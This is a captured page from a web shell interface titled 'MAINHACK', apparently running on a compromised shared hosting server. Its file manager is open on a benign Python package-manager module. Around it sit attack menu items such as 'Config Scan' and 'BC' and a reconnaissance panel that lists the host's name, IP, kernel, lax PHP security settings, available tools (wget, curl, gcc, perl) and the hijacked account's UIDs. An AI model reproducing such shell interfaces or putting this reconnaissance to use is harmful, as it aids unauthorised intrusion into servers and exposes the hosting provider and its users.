[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: package_manager.py
File is not writable. Editing disabled.
import os import subprocess class PackageManagerError(Exception): def __init__(self, err): self.returncode = err.returncode self.stdout = err.stdout.decode() self.stderr = err.stderr.decode() class PackageManager(object): binary = None kernel_name = None kernel_dev_name = None list_installed_cmd = None _kernel_ver = None @property def kernel_ver(self): if not self._kernel_ver: self._kernel_ver = self._exec('uname', '-r').strip() return self._kernel_ver @property def kernel_name_full(self): return '-'.join([self.kernel_name, self.kernel_ver]) @property def kernel_dev_name_full(self): return '-'.join([self.kernel_dev_name, self.kernel_ver]) def _exec(self, *args): try: process = subprocess.run(args, stdout=subprocess.PIPE, stderr=subprocess.PIPE, check=True) except subprocess.CalledProcessError as err: raise PackageManagerError(err) return process.stdout.decode() def install(self, *args): return self._exec(self.binary, 'install', '-y', *args) def install_kernel_dev(self, *args): return self.install(self.kernel_dev_name_full, *args) def is_package_installed(self, package): try: self._exec(*self.list_installed_cmd, package) except PackageManagerError: return False return True def is_kernel_dev_installed(self): return self.is_package_installed(self.kernel_dev_name_full) _registry = [] def register(cls): if issubclass(cls, PackageManager) and cls is not PackageManager: _registry.append(cls) return cls def detect(): for provider in _registry: if os.path.exists(provider.binary): return provider() raise OSError("Can't detect package manager") @register class Deb(PackageManager): binary = '/usr/bin/apt-get' kernel_name = 'linux-image' kernel_dev_name = 'linux-headers' list_installed_cmd = '/usr/bin/dpkg', '--list' @register class Rpm(PackageManager): binary = '/usr/bin/yum' kernel_name = 'kernel' kernel_plus_name = 'kernel-plus' kernel_dev_name = '{}-devel' list_installed_cmd = '/usr/bin/yum', 'list', 'installed' def __init__(self): if 'plus' in self.kernel_ver and \ self.is_package_installed(self.kernel_plus_name): self.kernel_name = self.kernel_plus_name self.kernel_dev_name = self.kernel_dev_name.format(self.kernel_name)
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 690.76 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: N/A